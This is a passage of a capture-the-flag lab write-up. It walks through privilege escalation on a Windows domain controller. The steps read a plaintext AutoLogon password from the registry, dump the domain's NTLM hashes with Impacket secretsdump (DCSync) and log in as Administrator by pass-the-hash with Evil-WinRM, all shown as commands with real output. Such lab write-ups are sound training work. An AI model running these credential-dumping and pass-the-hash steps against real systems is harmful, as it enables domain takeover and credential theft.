Root

Friday, March 20, 2020 10:06 AM

STEP 8:

Using *Get-LocalUser* will display all users on the computer.

```
*Evil-WinRM* PS C:\Users\FSmith\Desktop> Get-LocalUser

Name          Enabled Description
----          ------- -----------
Administrator True    Built-in account for administering the computer/domain
Guest         False   Built-in account for guest access to the computer/domain
krbtgt        False   Key Distribution Center Service Account
HSmith        True
FSmith        True
svc_loanmgr   True
```

The interesting user accounts here are "Administrator", "HSmith", "FSmith", and "svc_LoanMgr".

STEP 9:

Running *Get-ADUser -Filter * | FL Name,User** will list domain users and confirm their login account.

```
*Evil-WinRM* PS C:\Users> Get-ADUser -Filter * | FL Name,User*


Name              : Administrator
UserPrincipalName :

Name              : Guest
UserPrincipalName :

Name              : krbtgt
UserPrincipalName :

Name              : Hugo Smith
UserPrincipalName : HSmith@EGOTISTICAL-BANK.LOCAL

Name              : Fergus Smith
UserPrincipalName : FSmith@EGOTISTICAL-BANK.LOCAL

Name              : L Manager
UserPrincipalName : svc_loanmgr@EGOTISTICAL-BANK.LOCAL
```

STEP 10:

Checking the *C:\Users* folder we don't see a folder for HSmith. We suspect this user has not logged into this machine and hence does not have a user folder. At this point we can suspect that the HSmith account is a dead end, but Administrator and svc_LoanMgr both appear to be valid targets.

```
*Evil-WinRM* PS C:\Users\FSmith\Desktop> cd C:\Users\
*Evil-WinRM* PS C:\Users> ls


    Directory: C:\Users


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        1/25/2020   1:05 PM                Administrator
d-----        1/23/2020   9:52 AM                FSmith
d-r---        1/22/2020   9:32 PM                Public
d-----        1/24/2020   4:05 PM                svc_loanmgr
```

STEP 11:

Checking the Windows registry (*Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"*) for any auto login information we see the svc_LoanMgr login information is stored in plain text.

```
*Evil-WinRM* PS C:\Users> Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"


AutoRestartShell            : 1
Background                  : 0 0 0
CachedLogonsCount           : 10
DebugServerCommand          : no
DefaultDomainName           : EGOTISTICALBANK
DefaultUserName             : EGOTISTICALBANK\svc_loanmanager
DisableBackButton           : 1
EnableSIHostIntegration     : 1
ForceUnlockLogon            : 0
LegalNoticeCaption          :
LegalNoticeText             :
PasswordExpiryWarning       : 5
PowerdownAfterShutdown      : 0
PreCreateKnownFolders       : {A520A1A4-1780-4FF6-BD18-167343C5AF16}
ReportBootOk                : 1
Shell                       : explorer.exe
ShellCritical               : 0
ShellInfrastructure         : sihost.exe
SiHostCritical              : 0
SiHostReadyTimeOut          : 0
SiHostRestartCountLimit     : 0
SiHostRestartTimeGap        : 0
Userinit                    : C:\Windows\system32\userinit.exe,
VMApplet                    : SystemPropertiesPerformance.exe /pagefile
WinStationsDisabled         : 0
scremoveoption              : 0
DisableCAD                  : 1
LastLogOffEndTimePerfCounter : 38178136936
ShutdownFlags               : 2147483687
DisableLockWorkstation      : 0
DefaultPassword             : Moneymakestheworldgoround!
PSPath                      : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
PSParentPath                : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion
PSChildName                 : Winlogon
PSDrive                     : HKLM
PSProvider                  : Microsoft.PowerShell.Core\Registry
```

STEP 12:

Running the IMPACKET toolkit script (*python secretsdump.py -just-dc-ntlm egotistic-bank.local/svc_loanmgr@10.10.10.175*) and using the password we captured in step 11 returns the hash password of the administrator account.

```
[root:]~/impacket/examples$ python secretsdump.py -just-dc-ntlm egotistic-bank.local/svc_loanmgr@10.10.10.175
Impacket v0.9.21.dev1+20200220.181330.03cbe6e8 - Copyright 2020 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:9f65c98e33e10125334b28ff3b099c84:::
[*] Cleaning up...
[root:]~/impacket/examples$
```

STEP 13:

We can now use the EVIL-WINRM again to login with Administrator account and Pass-The-Hash code from what we got in step 12 instead of using a password to login with (*ruby evil-winrm.rb -i 10.10.10.175 -u Administrator -H d9485863c1e9e05851aa40cbb4ab9dff*).

```
[root:]~/evil-winrm$ ruby evil-winrm.rb -i 10.10.10.175 -u Administrator -H d9485863c1e9e05851aa40cbb4ab9dff

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

STEP 14:

Now we navigate to the desktop and get the root.txt flag similar to what we did in step 7.

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd C:\Users\Administrator\Desktop\
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/23/2020  10:22 AM             32 root.txt


*Evil-WinRM* PS C:\Users\Administrator\Desktop> Get-Content root.txt
f3[redacted]1f
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
```

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd C:\Users\Administrator\Desktop\
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls


    Directory: C:\Users\Administrator\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         1/23/2020  10:22 AM             32 root.txt


*Evil-WinRM* PS C:\Users\Administrator\Desktop> Get-Content root.txt
f3[redacted]1f
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
```

Thanks to ***VBScrub for his assistance with this box.